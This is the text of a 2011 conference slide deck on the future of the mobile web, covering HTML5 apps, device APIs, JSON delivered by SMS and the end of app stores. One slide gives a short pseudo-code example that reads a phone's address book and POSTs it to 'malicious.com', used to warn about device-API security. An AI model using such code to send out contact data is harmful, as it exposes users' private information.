The future of the mobile web

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Front-end Day, 26 April 2011
The desktop web

• Boring!
• Only five browsers
• with only one viewport each
• that support nearly everything
• Even IE? Yes, even IE.
The mobile web

• Exciting!
• Twenty browsers and counting
• ranging from great to lousy
• Fascinating new bugs that don’t occur on desktop
• Eventually about five times as many users as desktop web
Where do we stand right now?
Apps in theory

- Symbian: 38%
- Android: 16%
- iOS: 16%
- BlackBerry: 4%
- Windows: 3%
- bada: 3%
Apps in practice

- Android: 16%
- iOS: 22%

Rest? What rest?
Apps in the future
HTML5 apps

- One core app written in HTML, CSS, and JavaScript.
- Deployed to several mobile platforms.
- Ideally, CSS and JavaScript are stored on the device.
- If it can't be deployed it's still a website.
HTML5 app deployment

• [http://apparat.io/](http://apparat.io/) (Uxebu)
• [https://build.phonegap.com/](https://build.phonegap.com/) (Nitobi)
Device APIs

• Native apps offer device APIs.
• They allow you to access the camera, accelerometer, SMS, file system, etc.
• They tie in your site or app with the mobile context.
• Web apps will have to offer them, too.
Device APIs

device.phone.call(device.addressBook['mom'])

Great!
Well ...

var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
• Trusted apps from store
• Better security interface
Device APIs spec

- BONDI (obsolete)
- JIL (obsolete)
- W3C DAP (not yet ready)
- WAC 2.0
That’s where we stand right now.

But what about the future?
2014

Apps!
keep track of prices,
keep track of multiple ships,
give warning against corrupt police officers
I’ve done it. In April 2009.
And it worked. Almost. There was a compatibility issue. But still the concept was viable.
Data will likely be JSON
- Light-weight
- Already works everywhere

But how do we get the JSON onto the phone?
Wifi? Not available
Data plan? Too expensive
SMS? Sounds about right
JSON over SMS

• SMS is the only way of pushing data (so far)
• Premium SMS allows the service to make money easily
• Nearly every phone supports SMS
• It’s human-readable (more or less)
To: 06184322728

date: 150225,
towns: {
    town1: {
        prices:{
            catfish:0.88,
            dogfish:1.34,
            shellfish:0.79
        }
    },
    town2: {
        prices:{
            catfish:0.97,
            dogfish:1.13,
            shellfish:0.48
        }
    }
}
JSON over SMS

- But: cost.
- Maybe prices will go down
- Or maybe something else will take the place of SMS.
- IM? (Nokia, BlackBerry)
- As long as it’s push. And you can charge for it.
JSON over SMS

- And: illiteracy
- Images instead of text?
- : 0.88
- Or a voice-over app?
Money

• But if the user can share apps freely
• and pays for the data
• monetization is going to change considerably
• We don’t need app stores any more
End of app stores

• “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.”

- Eric Meyer
What do we need app stores for?

• Distribution
• Discoverability
• Ease of payments and making money

But ...

• Cost of ownership
• Works for Apple. But will it work for anyone else?
Distribution
Discoverability
Payments
Exhibit 9a: Early M-PESA ad emphasizing sending money from urban to rural areas linking into family and social ties
Cost of ownership

An app store needs:

• payment system
• sysadmins
• content checkers
• documentation and best practices writers
• hosting

Costs a lot of money. Too much money, especially if nobody uses the app store.
Works for Apple

• Apple has leverage with enthusiastic developers and affluent consumers
• Google has leverage with developers
• Nokia, Samsung, and RIM have leverage with consumers (though they’re less willing to spend money)
• But none of them has both
End of app stores

Will any app stores survive?

• Apple’s. iOS apps will continue to exist.
• Maybe a few other platform-specific ones, too.
• Specialised app stores (structural engineering, music creation, historical maps, etc.)
JavaScript events

Fun party game

- orientationchange
- online and offline
- shake
- cameraopen
- compasspointnorth
- devicemove (GPS?)
- phonecall
- textmessagereceived
Future of the Mobile Web

• Many native apps will be replaced by web apps, which can run anywhere
• Device APIs (but security!)
• Apps will be shared via Bluetooth
• Web data will also be offered via SMS
• Pay for content, not app
• App stores on the defensive
Thank you

I will post these slides online, but only in mid May.

Questions?

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